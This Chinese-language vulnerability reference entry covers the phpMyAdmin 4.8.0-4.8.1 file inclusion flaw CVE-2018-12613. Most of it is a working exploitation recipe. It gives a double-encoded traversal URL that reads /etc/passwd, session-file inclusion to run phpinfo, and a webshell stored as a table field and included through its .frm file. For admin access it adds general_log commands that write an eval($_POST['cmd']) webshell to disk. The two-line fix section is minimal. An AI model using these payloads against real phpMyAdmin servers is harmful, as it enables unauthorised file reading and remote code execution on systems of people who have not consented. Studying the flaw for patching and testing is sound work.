2.20.3 CVE-2018-12613

漏洞名称

phpMyAdmin 4.8.0-4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞描述

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

参考链接:

漏洞等级:

中危

漏洞危害

1.包含系统文件,可查看敏感信息(如/etc/passwd)

2.如果数据库的权限是管理员权限,那么就可以写入木马,包含木马程序,导致进入系统

漏洞检测方法

利用POC去试验是否存在该漏洞

漏洞利用方法

访问

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取,说明该版本存在文件包含漏洞

那么我们可以写入一个PHPinfo的文件,然后利用文件包含漏洞去执行这个PHPinfo的文件

在数据库中执行 select '<?php phpinfo()?>'然后查看当前的用户cookie值

因为用户的cookie值被写入到服务器端指定的文件中(/etc/sess_Your_cookie),所以我们通过包含这个文件,执行PHPinfo的命令

非管理员权限写入木马:

在网上看到一位大佬他是将webshell当做数据表的字段,这样是可以写入到数据库的文件中

然后再使用文件包含去包含这个表文件,那么现在的问题就是去寻找这个表的路径啦

如果是phpstudy,那么这个表就位于/phpStudy/PHPTutorial/MySQL/data/hack/hack.frm

路径查询

show variables like 'datadir'

那么包含的语句就位:

http://192.168.141.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm

管理员权限写入木马:

如果运气好使用管理员账号密码登陆进去,那么 直接开启通过general_log和general_log_file来获取的webshell

set global general_log='on';
SET global general_log_file='F:/cmd.php';
SELECT '<?php eval($_POST['cmd']);?>';

漏洞修复方案:

1,及时去官网修补漏洞

2,更新到最新版

Last updated